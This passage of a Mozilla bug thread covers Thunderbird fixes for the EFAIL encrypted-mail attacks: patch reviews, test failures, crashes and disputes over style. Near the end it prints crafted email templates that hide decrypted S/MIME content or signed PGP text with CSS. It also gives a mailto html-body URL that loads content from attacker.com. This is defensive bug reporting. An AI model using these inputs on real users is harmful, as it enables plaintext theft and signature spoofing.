distribute code to 10-25 million users where the own author added this comment: + /* honestly, I don't know how that charset stuff works in libmime. + The part in mimethtm doesn't make much sense to me either. + I'll just dump the charset we get in the mime headers into a + HTML meta http-equiv. + XXX Not sure, if that is correct, though. */ Maybe that needs further investigation since TB was riddled with charset issues (before I cleaned most/all of the up) and mojibake caused by wrong charset selection is not acceptable. Oh, I see, was copied from mimethsa.cpp, so perhaps you can include that comment in your clean-up. As for the review: I haven't had time to actually understand what the patch does, perhaps you can explain it or point me to the comment where that was already explained. You're adding a new MIME class mimeInlineTextHTMLParsedClass and I see code that switches to using that new class. Can the old one mimeInlineTextHTMLClass be removed? Running with the patch, I see horizontal lines between the different parts now. Where do these get added? I think we need to add some class and CSS since currently they don't appear to have any margins/spacing and are just glued to the preceding text. Final comment: Ben, I appreciate your expertise in this area and your contribution here. Please adhere to the rules that apply to everyone in the project to make collaboration as smooth as possible. I know you're working on an urgent security problem (or better, one that has finally become urgent), so we will need to cut some corners in the process but code formatting and covering all cases (see charset) won't be one of them.

Jorg K (CEST = GMT+2)

Assignee

Comment 99

•

7 years ago

Comment on attachment 8976363 [details] [diff] [review] Sanitize quotes, v4 (for 52) Review of attachment 8976363 [details] [diff] [review]: ----------------------------------------------------------------- ::: mailnews/compose/src/nsMsgCompose.cpp @@ +617,5 @@ > > +/* This function syncronously sanitizes an HTML document (string->string) > + using the Gecko nsTreeSanitizer. > + This is a modified copy of the code in mimemoz2.cpp. > +*/ This ugly comment style may be found in MIME, but we prefer not to have it in compose. @@ +625,5 @@ > + uint32_t flags = nsIParserUtils::SanitizerCidEmbedsOnly | > + nsIParserUtils::SanitizerDropForms | > + nsIParserUtils::SanitizerAllowStyle; > + > + // Implementation in dom/base/nsTreeSanitizer.cpp We have DXR to track this. So please lose the comment. ::: dom/base/nsTreeSanitizer.cpp @@ -945,5 @@ > { > - if (mCidEmbedsOnly) { > - // Sanitizing styles for external references is not supported. > - mAllowStyles = false; > - } Please move this to a separate patch and get it reviewed by the appropriate peer. Or what is the plan for this hunk?

Jorg K (CEST = GMT+2)

Assignee

Comment 100

•

7 years ago

Additional comment: You said in comment #86 that sanitising is a safety measure. Should we move that to a different bug since this one here is quickly becoming confusing and the solution also needs an M-C change?

Ben Bucksch (:BenB)

•

7 years ago

Comment on attachment 8976351 [details] [diff] [review] Sanitizer code cleanup, v2 r- due to ... Formal reasons: - Patch doesn't apply to trunk. - No commit message. Factual reasons: - Not a good a idea to change preference names at 52.8.x or 52.9.x. The preference in question is publicised on the web. - Would be OK to change for TB 60, but only with migration code (which is easy to do).

Attachment #8976351 - Flags: review-

Jorg K (CEST = GMT+2)

Assignee

Comment 105

•

7 years ago

Comment on attachment 8976363 [details] [diff] [review] Sanitize quotes, v4 (for 52) f- due to formal reasons: - No commit message - Mix of hunks for C-C and M-C - Yes, it says "for 52", but doesn't help us. We need to land on trunk first, make sure all the tests pass, then uplift after maybe a short ride on beta.

Attachment #8976363 - Flags: feedback-

Jorg K (CEST = GMT+2)

Assignee

Comment 106

•

7 years ago

Comment on attachment 8976349 [details] [diff] [review] Separate MIME parts from each other, v4 (trunk and 52) Review of attachment 8976349 [details] [diff] [review]: ----------------------------------------------------------------- Repeating from comment #98: - This causes test failures. - Not sure whether the new class completely replaces the old. - Not sure where the horizontal lines come from. They would be OK if styled properly with margins/spacing. ::: mailnews/mime/src/mimei.cpp @@ -328,5 @@ > return > !( > (avoid_html > && ( > - clazz == (MimeObjectClass *)&mimeInlineTextHTMLClass Can the class whose usage you're removing be removed completely? If so, please do. If not, please explain in which cases which class is used.

Jens Müller

Reporter

Comment 107

•

7 years ago

Can you invitehanno@hboeck.de to this bug?

Jorg K (CEST = GMT+2)

Assignee

Comment 108

•

7 years ago

Why? He's a journalist and asked why this is progressing so slowly in an e-mail to the Council. I don't see any reason to add him here. So far, this is confidential, so I woudn't add a representative of the press.

Jens Müller

Reporter

Comment 109

•

7 years ago

He found a bypass for the current mitigation which may be interesting :)

Jorg K (CEST = GMT+2)

Assignee

Comment 110

•

7 years ago

Maybe he wants to file a new bug then. We're already at comment #110 here and the bug is getting more and more confusing. If he found a bypass for (which?) current mitigation, then it doesn't belong here since this mitigation here wasn't shipped yet. Or did he apply the patches, compiled and then found that the specific solution proposed in the patches here doesn't work. Only then we're interested in this bug, anything else needs to go elsewhere.

Ben Bucksch (:BenB)

Comment 111

•

7 years ago

> - Not sure whether the new class completely replaces the old. Yes, it does. You can see - Not sure where the horizontal lines come from. They would be OK if styled properly with margins/spacing. > > For existing code, use the prevailing style in a file or module. > I don't have the time now to do a statistical analysis to see what's "prevailing". As far as I can tell, MIME is a mess Simply open a random typical libmime file, like mimehdrs.cpp, mimethtm.cpp, mimeebod.cpp. If I now start using a different style, as you ask me to, *that* would be a "mess". ::: mailnews/mime/src/mimei.cpp @@ -328,5 @@ > (avoid_html > && ( > - clazz == (MimeObjectClass *)&mimeInlineTextHTMLClass > Can the class whose usage you're removing be removed completely? No, because it's the base class for this one here, and for the sanitizer. Also, I would like to leave it in, in case we go back to straight pass-thought. I'll explain more to you in person why. > He's a journalist and asked why this is progressing so slowly in an e-mail to the Council He's got a point... > > I'd be happy to discuss the merits of the patch with you on the phone, and > > explain everything. As long as we agree to focus on securing end users. > I prefer to document this in writing here. I tried to reach you on the phone twice, but couldn't reach you. This back and forth in async writing, and waiting for each answer for hours, takes too much time, both calendar time and my work time. I'd like to get this finished. If we can work together on this, in realtime, we can get this done in a matter of 2-3 hours. We can't have this drag on like that. I neither have the time, nor can the users wait any longer. My offer to collaborate is there. You have my phone number.

Ben Bucksch (:BenB)

•

7 years ago

Ben, to get positive review of the "Separate MIME parts from each other, v4 (trunk and 52)" patch, can you please address the test failures. The horizontal lines without margins/spacing are another *real* issue aside from the style discussion. Please document what you have to say about the technical issues here. It needs to be documented. Phone calls are not the normal form of developer communication in Mozilla. Typically an issue can be settled within a day if all participants are in the same time zone and reply a few times during the day.

Ben Bucksch (:BenB)

Comment 117

•

7 years ago

> Please document what you have to say about the technical issues here Is there anything that you're missing in comment 57, which gives the big overview? And the comments when I attached the patches, e.g. comment 69, comment 73 and comment 92 and comment 97? > The horizontal lines Honestly, I don't know where they come from, but they are not coming from my code. > can you please address the test failures It's not surprising that they fail, given that we intentionally change the output here. I don't have the test suite set up, and last time I tried, it cost me a whole day to get it running. Could you please help me out there adapting the tests? That would be much appreciated.

Ben Bucksch (:BenB)

Comment 118

•

7 years ago

Attached image tb-efail-attachment-separators.png (obsolete) — Details

> > The horizontal lines > Honestly, I don't know where they come from I found out. These are the inline attachment delimiters that Thunderbird always puts between the different documents/attachments. You can easily reproduce that by sending yourself an email with HTML attachments (or plaintext, for that matter). You will see horizontal lines. For illustration, I used empty HTML documents, and opened them in a 52.8.0 without my patches, and made a screenshot, attached here. In the screenshot, you will see "empty.html" in the line, which makes the purpose of these lines clear. That's obviously the file name of the attachment shown, and the name is taken from the MIME headers Content-Type: name="" or Content-Disposition: filename="". Now, when you open the attack email in a 52.8.0, you don't see these lines. But you should. That you don't see them is an effect of the attack in action and code failing to do what's intended. We never intended for an S/MIME part to be between 2 HTML parts. When you open the attack email with my patch, you see the attachment separator lines again. That's not a bug, but actually the normal Thunderbird behavior (see above), and a sign of things working normally. So, why is the filename missing? Remember that the attack emails are hand-crafted, so they're not playing as nice. They do not contain the file name, just "Content-Type: text/html", no name="", nothing else, and no other MIME header. So, we don't have a file name to display, and we do the only reasonable thing we can do: display a horizontal line between the different attachments. Given that the attachments are themselves empty, you end up seeing only these lines. This test email is looking odd only because it's a specifically crafted attack email with no content, no filename, odd MIME output etc.. So, in fact, these lines are working as they should.

Ben Bucksch (:BenB)

Comment 119

•

7 years ago

Comment on attachment 8976703 [details] tb-efail-attachment-separators.png (Obsoleting screenshot, because it's only answering Jörg's valid question, but not otherwise adding value to this bug.)

Attachment #8976703 - Attachment is obsolete: true

Jorg K (CEST = GMT+2)

Assignee

Comment 120

•

7 years ago

Attached image horizontal lines.png — Details

Richard, could you please load the e-mail in attachment 8975458 [details] (which you encoded for me a little while ago) and apply patch "Separate MIME parts from each other, v4 (trunk and 52)". You should see what is shown in the picture. Sadly the horizontal lines have no margin/padding. Could you find our their class and add CSS to make the thing look a bit better.

Ben Bucksch (:BenB)

Comment 121

•

7 years ago

Comment on attachment 8976351 [details] [diff] [review] Sanitizer code cleanup, v2 > I don't care much about the pref, Thanks for being pragmatic, Magnus. Given that I AllowStyles doesn't actually work with CIDOnly, it would need the mozilla-central hunk from Sanitize composer, v4 patch, it makes sense to remove that part from the patch. That then also makes the pref name change moot, so I can revert that as well. That would make this "cleanup" a pure code cleanup with no functional changes. So, it's for trunk only anyway. > but this (and other patches) need to apply to trunk Yes. I'll try to make patches for trunk, but I can't promise it, because I'm running out of work time on this here.

Ben Bucksch (:BenB)

•

7 years ago

Updated

•

7 years ago

Attachment #8976085 - Attachment is obsolete: false

Ben Bucksch (:BenB)

Comment 125

•

•

7 years ago

Ben, can you also please provide a test for the new MIME parser class. As per comment #83, the C++ interface mozilla::dom::DOMParser::CreateWithoutGlobal() was created only for TB, it is not covered by any M-C tests and can break silently any time, see bug 1454842 comment #4. It was previously only used in "Windows Live Mail" import but it is now moving onto the main code path for HTML mail. So it would be good to write an M-C gtest to guarantee its functioning so M-C bustage doesn't hit us. At the very least we should write a C-C test that loads a HTML mail with "doubtful" content and then checks that the body is properly "corrected". We have many Xpcshell and Mozmill tests that load messages from file, process them and then check their body/content. So it wouldn't be hard to copy something together. The last one I did was in bug 1456001.

Richard Marti (:Paenglab)

Comment 133

•

7 years ago

Attached image DOM.png — Details

(In reply to Jorg K (GMT+2) (bustage-fix only, NI for urgent reviews) from comment #120) > Created attachment 8976711 [details] > horizontal lines.png > > Richard, could you please load the e-mail in attachment 8975458 [details] > (which you encoded for me a little while ago) and apply patch "Separate MIME > parts from each other, v4 (trunk and 52)". You should see what is shown in > the picture. Sadly the horizontal lines have no margin/padding. Could you > find our their class and add CSS to make the thing look a bit better. The problem isn't the missing padding, it's applied. When you view the body as plain text the padding is correct. The problem is on HTML and Simple HTML: The message text isn't placed inside the moz-text-html class like in moz-text-plain. You can see the position of the closing </div> I marked with the red arrows. Because of this, the moz-text-html class has a height of 0px and the following class is placed directly after the text. When the text would be inside the class, all should be correct again.

Flags: needinfo?(richard.marti)

Ben Bucksch (:BenB)

Comment 134

•

7 years ago

Can't test trunk, because it fails to compile for me. Filed bug 1462794.

Depends on: 1462794

Ben Bucksch (:BenB)

Comment 135

•

7 years ago

> Ben, can you also please provide a test for the new MIME parser class. Sorry, I have run of time for this bug. I spent most of the week on it (27 hours). Given that I'm not paid for it, I have to stop here. > [the Gecko API we use] can break silently any time, see bug 1454842 comment #4. I see your point. A test would be useful. But if the parser API indeed goes away, we'd fail to build. If it was building, but not working properly, lots of existing tests would fail, because this is now the default handler for HTML mails. So, I would say we have sufficient coverage. But... if you want to add a specific test later on, that's fine. I don't think the time is now, though. In any case, I myself cannot spend any more time on this. I'll be available for help, if you need my expertise. If you want to polish this patch further, please go ahead. I'd only request that you attribute the commit to me. The patch works, with 52 and trunk. 3 days ago, I've spent an entire night on this, to get out as quickly as possible. Please land it and get it out now. People are waiting for the fix, eyes are on us. Every day we delay the fix causes PR damage. Please speak to Ryan, he spent the whole last day putting fires out.

Ben Bucksch (:BenB)

•

7 years ago

(In reply to Jorg K (GMT+2) (bustage-fix only, NI for urgent reviews) from comment #139) > Ben, I looked at the DOM for "simple HTML". Sadly, that shows the same > problem. The text content is not inside the <div>, thus proper CSS isn't > applied. Richard, can you please confirm. Yes, I wrote in comment 133: "The problem is on HTML and Simple HTML". Both use the same class and the text is not inside the <div>. BTW, what do you mean with: could you decode the message part?

Flags: needinfo?(richard.marti)

Jorg K (CEST = GMT+2)

Assignee

Comment 141

•

7 years ago

(In reply to Richard Marti (:Paenglab) from comment #140) > Yes, I wrote in comment 133: "The problem is on HTML and Simple HTML". Both > use the same class and the text is not inside the <div>. Oops, missed that at 1:09 AM :-( > BTW, what do you mean with: could you decode the message part? Sorry, "decrypt". Did you see what you can see in attachment 8976711 [details]: "Hallo Jörg, ...".

Richard Marti (:Paenglab)

Comment 142

•

7 years ago

No, only the "Please answer to..." and two lines.

Jorg K (CEST = GMT+2)

Assignee

•

7 years ago

Attached patch Separate MIME parts from each other, v4 (trunk only, with clean-up) (obsolete) — Details — Splinter Review

Since the little brother mimethsa.cpp just got a clean-up, I've done the same here (so we can stop the discussion and focus on the (severe) issue at hand). I've also removed the conditional compile code, since we won't land that on trunk. That will have to be restored for TB 60 and TB 52 but we cross that bridge when we get to it. The test failures and the "text outside div" (bug 1462895) are blocking this.

Attachment #8976349 - Attachment is obsolete: true

Attachment #8976349 - Flags: review?(mkmelin+mozilla)

Attachment #8979059 - Flags: review?(mkmelin+mozilla)

Jorg K (CEST = GMT+2)

Assignee

Comment 146

•

7 years ago

Comment on attachment 8979059 [details] [diff] [review] Separate MIME parts from each other, v4 (trunk only, with clean-up) r+ conditional on fixing bug 1462895.

Attachment #8979059 - Flags: review+

Jorg K (CEST = GMT+2)

Assignee

Comment 147

•

7 years ago

Attached patch 1419417-fix-tests.patch (obsolete) — Details — Splinter Review

This fixes the tests. Let's be sure and do another try: https://treeherder.mozilla.org/#/jobs?repo=try-comm-central&revision=5f2ef8a7ecf069d845d368ecf2f068ceb8fadd53

Attachment #8979060 - Flags: review?(mkmelin+mozilla)

Jorg K (CEST = GMT+2)

Assignee

Comment 148

•

7 years ago

Attached patch 1419417-fix-tests.patch (v2) (obsolete) — Details — Splinter Review

Different platforms have different line endings, so this only worked on Windows. The new version should work everywhere. https://treeherder.mozilla.org/#/jobs?repo=try-comm-central&revision=1ce20ed3e47d9df8c5fbe68033bc628951b7b9f7

Attachment #8979060 - Attachment is obsolete: true

Attachment #8979060 - Flags: review?(mkmelin+mozilla)

Attachment #8979061 - Flags: review?(mkmelin+mozilla)

Jorg K (CEST = GMT+2)

Assignee

Comment 149

•

7 years ago

Attached patch 1419417-remove-monkey-patch.patch — Details — Splinter Review

Attachment #8979062 - Flags: review?(mkmelin+mozilla)

Magnus Melin [:mkmelin]

Comment 150

•

7 years ago

Comment on attachment 8979059 [details] [diff] [review] Separate MIME parts from each other, v4 (trunk only, with clean-up) Review of attachment 8979059 [details] [diff] [review]: ----------------------------------------------------------------- r=mkmelin with the below adressed. Sadly, this is a required step to prevent efail, but this is not fixing it for reply/fwd. I thought earlier just converting to plain text would fix that, and it would mitigate for sure. But thinking about that some more, you could put enough newlines to push the content out of view then. When using html, even with this patch, styles leak over between parts and can hide the content of the encrypted part so you would't see it when composing (either). ::: mailnews/mime/src/mimeTextHTMLParsed.cpp @@ +71,5 @@ > + PR_Free(content_type); > + if (charset) > + { > + nsAutoCString charsetline( > + "\n<meta http-equiv=\"Context-Type\" content=\"text/html; charset="); I believe this is wrong (and at this point no content type should be output). Haven't checked if it's just ignored or would cause problems. The second one of the <meta http-equiv="Context-Type" content="text/html; charset=utf-8">, didn't use to appear. We just had two earlier :-p When replying at least to an encrypted msg, I get this - notice, there's three http-equivs <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body text="#000000" bgcolor="#FFFFFF"> xyz<br> <br> <div class="moz-cite-prefix">On 4/19/18 11:27 PM, Magnus Melin wrote:<br> </div> <blockquote type="cite" cite="mid:79777860-fbab-4c85-9885-42936cadc71c@netti.fi"> <meta http-equiv="Context-Type" content="text/html; charset=utf-8"> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> Heyheyhey!<br> <br> @@ +100,5 @@ > + > + // We have to cache all lines and parse the whole document at once. > + // There's a useful sounding function parseFromStream(), but it only allows XML > + // mimetypes, not HTML. Methinks that's because the HTML soup parser > + // needs the entire doc to make sense of the glibberish that people write. gibberish

Attachment #8979059 - Flags: review?(mkmelin+mozilla) → review+

Magnus Melin [:mkmelin]

•

7 years ago

Attached patch Separate MIME parts from each other, v4b (trunk only, with clean-up) — Details — Splinter Review

Is this what you meant? I've fixed the "Context".

Attachment #8979059 - Attachment is obsolete: true

Attachment #8979120 - Flags: review?(mkmelin+mozilla)

Jorg K (CEST = GMT+2)

Assignee

Comment 154

•

7 years ago

See changes here: https://bugzilla.mozilla.org/attachment.cgi?oldid=8979059&action=interdiff&newid=8979120&headers=1

Jorg K (CEST = GMT+2)

Assignee

Comment 155

•

7 years ago

Attached patch 1419417-fix-tests.patch (v2) — Details — Splinter Review

Same test fixed, but "repair" hunks moved elsewhere.

Attachment #8979061 - Attachment is obsolete: true

Attachment #8979061 - Flags: review?(mkmelin+mozilla)

Attachment #8979122 - Flags: review?(mkmelin+mozilla)

Jorg K (CEST = GMT+2)

Assignee

Comment 156

•

7 years ago

Attached patch 1419417-fix-mimethsa.patch [landed in bug 1462481 comment #11] (obsolete) — Details — Splinter Review

Here you go.

Attachment #8979123 - Flags: review?(mkmelin+mozilla)

Jorg K (CEST = GMT+2)

Assignee

Comment 157

•

7 years ago

•

7 years ago

Attachment #8976349 - Attachment description: Separate MIME parts from each other, v4 (trunk and 52) → Separate MIME parts from each other, v4 (trunk and 52) - not for landing, but contains code for TB 52 and 60.

Attachment #8976349 - Flags: review-

Jorg K (CEST = GMT+2)

Assignee

Comment 160

•

7 years ago

Comment on attachment 8979120 [details] [diff] [review] Separate MIME parts from each other, v4b (trunk only, with clean-up) I think that was by mistake or perhaps due to the white-space changes Ben didn't like. For the record, currently 378 functions don't have a space before the parenthesis, 313 do. So the prevailing style is what this patch does. r- will only confuse Magnus, since the predecessor already had r+ and I fixed the Context issue here, and I'm just checking this is what Magnus meant.

Attachment #8979120 - Flags: review-

Ben Bucksch (:BenB)

Comment 161

•

7 years ago

I found the <div> problem. The superclass parse_line() function was called correctly. However, in eol(), we called the superclass eof() function - which is what outputs the closing </div> tag - at the *beginning* of the child function for HTMLParsed and HTMLSanitized. These classes need to buffer up everything in memory and - due to lacking streaming APIs in Gecko - parse it all at once in eof(), not in parse_line(). These 2 facts in combination meant that the </div> was output before the actual HTML content. Once I realized that, it was trivial: Move the superclass function call of eof() to the end of the eof() child function, and it works.

Ben Bucksch (:BenB)

Comment 162

•

7 years ago

Attached patch Separate MIME parts from each other, v5 (for 52) (obsolete) — Details — Splinter Review

Attachment #8979120 - Attachment is obsolete: true

Attachment #8979120 - Flags: review?(mkmelin+mozilla)

Ben Bucksch (:BenB)

Comment 163

•

7 years ago

Attached patch Separate MIME parts from each other, v5 (for trunk) (obsolete) — Details — Splinter Review

Ben Bucksch (:BenB)

•

7 years ago

Comment on attachment 8979190 [details] [diff] [review] Separate MIME parts from each other, v5.1 (for trunk) Review of attachment 8979190 [details] [diff] [review]: ----------------------------------------------------------------- Please align the code with mimethsa.cpp. Sadly, I had already done so, but the changes got lost. I'll put it all together and start a try after lunch. ::: mailnews/mime/src/mimeTextHTMLParsed.cpp @@ +59,5 @@ > + int status = ((MimeObjectClass*)&MIME_SUPERCLASS)->parse_begin(obj); > + if (status < 0) > + return status; > + > + // charset Remove that line. @@ +60,5 @@ > + if (status < 0) > + return status; > + > + // charset > + // dump the charset we get from the mime headers into a HTML <meta http-equiv> Sentence/upper case with full stop. @@ +107,5 @@ > + nsString& rawHTML = *(me->complete_buffer); > + nsString parsed; > + nsresult rv; > + > + // Parse the HTML source Full stop. @@ +116,5 @@ > + rawHTML, mozilla::dom::SupportedType::Text_html, rv2); > + if (rv2.Failed()) > + return -1; > + > + // Serialize it back to HTML source again and here. @@ +125,5 @@ > + NS_ENSURE_SUCCESS(rv, -1); > + rv = encoder->EncodeToString(parsed); > + NS_ENSURE_SUCCESS(rv, -1); > + > + // Write it out and here.

Magnus Melin [:mkmelin]

Comment 168

•

7 years ago

Comment on attachment 8979123 [details] [diff] [review] 1419417-fix-mimethsa.patch [landed in bug 1462481 comment #11] Review of attachment 8979123 [details] [diff] [review]: ----------------------------------------------------------------- I meant to remove the outputting of meta http-equiv here since it looked wrong. I think it's proof enough if it has been there and with a typo all these years making it a no-op, that my hunch was correct ;)

Magnus Melin [:mkmelin]

Comment 169

•

7 years ago

Comment on attachment 8979122 [details] [diff] [review] 1419417-fix-tests.patch (v2) Review of attachment 8979122 [details] [diff] [review]: ----------------------------------------------------------------- If this is needed for the tests too be happy, looks reasonable. Please though Upper-Case the content-type to Content-Type. Lowercase looks so ugly.

Attachment #8979122 - Flags: review?(mkmelin+mozilla) → review+

Ben Bucksch (:BenB)

Comment 170

•

7 years ago

Comment on attachment 8979122 [details] [diff] [review] 1419417-fix-tests.patch (v2) + // Account for stuff added by libmime, incl. two CRLF or LF before and after. + totalSize += "<meta http-equiv=\"content-type\" content=\"text\/html; \">".length; + totalSize += ("@mozilla.org/windows-registry-key;1" in Cc) ? 4 : 2; I don't think it's good idea to hardcode the number of linebreaks and that "windows-registry-key" test is a hard-to-read and failure-prone way to say "this is Windows". I would recommend to do what you did in the second test: before calculating the string size, simply remove the <meta> tag (if it exists) - which would still work and not break the test, if we would go back to the old way, which I anticipate - and you can do the same with the LFCR, by simply removing all LF before getting the size. However, I don't want to be a pain like some other reviewers :-), and I don't care about these tests, so giving you an r+ anyway. I think what I said should be fixed, but it doesn't have to be right now. It's most important to get the fix out.

Attachment #8979122 - Flags: review?(ben.bucksch)

Attachment #8979122 - Flags: review+

Ben Bucksch (:BenB)

•

7 years ago

Attached patch 1419417-fix-tests.patch (v3) (obsolete) — Details — Splinter Review

Adjusted for Content-Type. Both tests crash with the latest C++ patch.

Jorg K (CEST = GMT+2)

Assignee

Comment 180

•

7 years ago

Looking at the CSS for moz-text-html I didn't find any. So perhaps we return to the previous version of the patch that didn't cause crashes and fix the <div> issue in bug 1462895 later for both sanitised and parsed/standard HTML? Otherwise we'll be here for a while longer :-(

Jorg K (CEST = GMT+2)

Assignee

Comment 181

•

7 years ago

That said, the DOM for sanitised HTML being wrong points to some internal problem, so moving this problem onto the main code path for all HTML without understanding it appears a little risky, especially in a dot release 52.8.1.

Jorg K (CEST = GMT+2)

Assignee

Comment 182

•

7 years ago

(In reply to Magnus Melin from comment #176) > The charset= is inside the content quote, so it would not make any > difference. There's no second part. But sure, do a followup. Well, I tried the sanitised HTML view which uses similar code and removed writing of the meta tag. I tried in UTF-8 and windows-1252 and the display was still OK. I don't now how Gecko managed that. The code also generates: <div class="moz-text-html" lang="x-western"></div> or <div class="moz-text-html" lang="x-unicode"></div> which is completely wrong since the lang attribute should have a language tag, like "en-US" or "de-AT" or so. So this area also needs a clean-up sadly. Filed bug 1463133.

Ben Bucksch (:BenB)

Comment 183

•

7 years ago

> It's not fixing for composition because the decrypted content is still there in the reply, even now when the parts are parsed separately. Hey Magnus, ah, yes, but that's a completely separate issue, and different fix. The user can still detect it with the scrollbar etc. This would be fixed by solution 3 in comment 57. That's another bug. > The DOM created still has the body outside the <div> I've looked at the raw libmime output and the Dev Tools, and the <div> is around the HTML email. I'll attach a screenshot. I've used a real HTML mail as test. Pay attention when using the attack emails here for testing, because they have empty HTML documents, so they can be easily confusing when used for verification. Also, make sure that you have Original HTML on, not Sanitized HTML. I've been tripped by that once during my dev, too. > perhaps we return to the previous version of the patch that didn't cause crashes and fix the <div> > issue in bug 1462895 later for both sanitised and parsed/standard HTML? Otherwise we'll be here for a while longer :-( Yes, given that the main concrete effect of the <div> is the missing margin of the separator, I think that's tolerable. We can still fix it in a later 52.9.0 or 60 release, if need be. I'm for shipping the fix as I had it last Wednesday, that worked and fixed the security bug.

Ben Bucksch (:BenB)

Comment 184

•

7 years ago

> lang="x-unicode" ... is completely wrong ... should have a language tag, like "en-US"... So this area also needs a > clean-up sadly. Please be careful. If you look at Firefox Preferences Font dialog, you see that it mixes languagues with "Unicode". If you look in browser/components/preferences/fonts.xul, it actually uses "x-unicode" for what's now called "Other languages" in the UI, and "x-western" also exists and is called "Latin" in the Firefox Font UI. So that code is actually perfectly correct for Gecko. And that's the point here, to pick the right font family for display. So, please don't be presumptuous in judging and esp. modifying that code. Like a grandfather, libmime is old code, and it's not perfect, but it does work. Be careful before dismissing it, you might really break stuff.

Ben Bucksch (:BenB)

Comment 185

•

7 years ago

Attached image <div> is correctly wrapping the HTMl email, with patch v5.* — Details

> I tried the sanitised HTML view which ...could explain why you still see the <div> in the wrong place, because you applied the patch here and not the Sanitizer one which you asked me to separate out to bug 1462895, and if you enabled Sanitized HTML, that means that you wouldn't even use the HTML Parsed class, and would not see the effects of the fix here. Also, again, please try with real HTML emails, not just the attack emails here.

Jorg K (CEST = GMT+2)

Assignee

Comment 186

•

7 years ago

(In reply to Ben Bucksch (:BenB) from comment #184) Sorry Ben, you're confused here. I'm quite aware of encodings and writing systems and how Gecko tries to derive one from the other. Further reading in bug 1228193 comment #10. Unicode (UTF-8) and Western (windows-1252) in the |View > Text Encoding| menu are encodings. "x-unicode" (Other Languages) and "x-western" (Latin) are writing systems. Language is something different, but language maps to writing system. https://dxr.mozilla.org/mozilla-central/source/intl/locale/langGroups.properties Stuffing a writing system into the lang attribute seems 100% wrong, but let's discuss this in bug 1463133.

Jorg K (CEST = GMT+2)

Assignee

Comment 187

•

7 years ago

(In reply to Ben Bucksch (:BenB) from comment #185) > Also, again, please try with real HTML emails, not just the attack emails > here. Ben, with the latest patch, viewing HTML messages just crashes, also seen in the test crashes. The message from attachment 8979247 [details] only shows horizontal lines. So sorry, your patch doesn't work at all.

Jorg K (CEST = GMT+2)

Assignee

Comment 188

•

7 years ago

Attached file test with image for attaching bug.eml — Details

Ben, viewing this message crashes. Please try a few "normal" HTML messages. This one is multi-part related. It crashes in original HTML and sanitised. I have the C++ patch here and the one from bug 1462895 applied. As mentioned, the Xpcshell tests also crash. Frankly, I'm tired, I've tried stuff all day. libmime isn't as brilliant as you said, you poke it, and it breaks :-(

Jorg K (CEST = GMT+2)

Assignee

Comment 189

•

status-thunderbird62: --- → fixed

status-thunderbird_esr52: --- → affected

status-thunderbird_esr60: --- → affected

Resolution: --- → FIXED

Target Milestone: --- → Thunderbird 62.0

Ben Bucksch (:BenB)

Comment 194

•

7 years ago

> Ben, no one builds TB 52.x at home. Everyone builds on trunk. I guess, I'm no one, then :) My whole goal here was to fix TB 52. But that's now in the hands of drivers. Thanks for landing this.

Ben Bucksch (:BenB)

Comment 195

•

7 years ago

Per Mozilla security bug policy, we unhide security bugs where the details are public anyway. I am going to unhide this bug in 3 days. Because the bug and exploit is very public, literally front page news, and the paper with the bug and attack details has been released about a week ago, and people are very interested in the status.

Jorg K (CEST = GMT+2)

Assignee

Comment 196

•

7 years ago

(In reply to Ben Bucksch (:BenB) from comment #194) > My whole goal here was to fix TB 52. Yes, but that's not how we develop. > But that's now in the hands of drivers. I'll get it uplifted. I think it's quite risky since we're drastically change the HTML processing. So we might trigger all sorts of bugs/crashes in Gecko's parser or serialiser.

Daniel Veditz [:dveditz]

•

7 years ago

Attachment #8979120 - Flags: approval-comm-esr60+

Attachment #8979120 - Flags: approval-comm-esr52+

Attachment #8979120 - Flags: approval-comm-beta+

Jens Müller

Reporter

Comment 199

•

7 years ago

I found some time to re-test TB nightly (2018-05-22) and Enigmail version 2.0.5 (20180521-1522). As far as I can tell, the related preconnect remote content bypass is fixed (bug 1408867). As well is leaking the plaintext by tricking the user into submitting the it via HTML forms (Bug 1450345, Bug 1462910) or remote images (bug 1457721). Please note that there may still be bypasses -- in the long term I'd agree with what Ben said (comment 57). What still works imho is variants of OpenPGP signature spoofing and S/MIME reply-or-forward exfiltration: * OpenPGP: signature spoofing based on hiding the real signed text with CSS --------------------------------------------------- Content-Type: text/html This is arbitrary text inserted by the attacker... The mail says `good signature' by the entity below <div style="color: red;"> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 THIS PART IS SIGNED BUT CAN BE HIDDEN WITH CSS -----BEGIN PGP SIGNATURE----- ... -----END PGP SIGNATURE----- ``` --------------------------------------------------- * S/MIME: decrypted MIME parts can be completely hidden with CSS; if user replies/forwards in HTML format the (non-visible) plaintext is leaked, otherwise (in text-only reply mode) the victim could be fooled by inserting newlines --------------------------------------------------- Content-Type: multipart/mixed; boundary="BOUNDARY" --BOUNDARY Content-Type: text/html Reply please to this email <div style="color: red;"> --BOUNDARY Content-Type: application/pkcs7-mime; name="smime.p7m"; smime-type=enveloped-data Content-Transfer-Encoding: base64 ... --BOUNDARY-- --------------------------------------------------- Also I still don't feel comfortable with mailto:?html-body=whatever Do we actually need this? It allows a website to put untrusted input into composer. This enables an attacker to escalate into HTML context (even if HTML-composing has been disabled by the user); furthermore stuff like <video poster="..."> is loaded automatically here (no user interaction required). If there is no valid requirement for ?html-body it should be removed from TB, imho. (I'm unable to exploit it straight-forward but I have a really bad feeling about this feature).

Jorg K (CEST = GMT+2)

Assignee

Comment 205

•

7 years ago

TB 60 beta 7 (BETA_60_CONTINUATION branch): https://hg.mozilla.org/releases/comm-beta/rev/6ff4b0b96518 https://hg.mozilla.org/releases/comm-beta/rev/1d4a70869ef3 https://hg.mozilla.org/releases/comm-beta/rev/6b09af3c9a3a

status-thunderbird60: --- → fixed

Patrick Brunschwig

Comment 206

•

7 years ago

Jens, comment 201 relates to Enigmail. Inline-PGP is not handled by TBird at all. I'll take this to the Enigmail bug tracker.

Ben Bucksch (:BenB)

Jens Müller

Reporter

Comment 219

•

6 years ago

quick update: I re-tested mailto:?html-body=%3Cvideo%20poster%3D%22http%3A%2F%2Fattacker.com%22%3E"> in TB 60.2.1 and it still allows an attacker to escalate into html context -- if not required this `feature' should be disabled.

Ben Bucksch (:BenB)

Comment 220

•

6 years ago

Jens, can you please file a new bug about this? You can mention it here for reference. Thanks.

Ben Bucksch (:BenB)

Comment 221

•

6 years ago

This shipped 8 months ago. Could we please open this bug up?

Jens Müller

Reporter

Comment 223

•

6 years ago

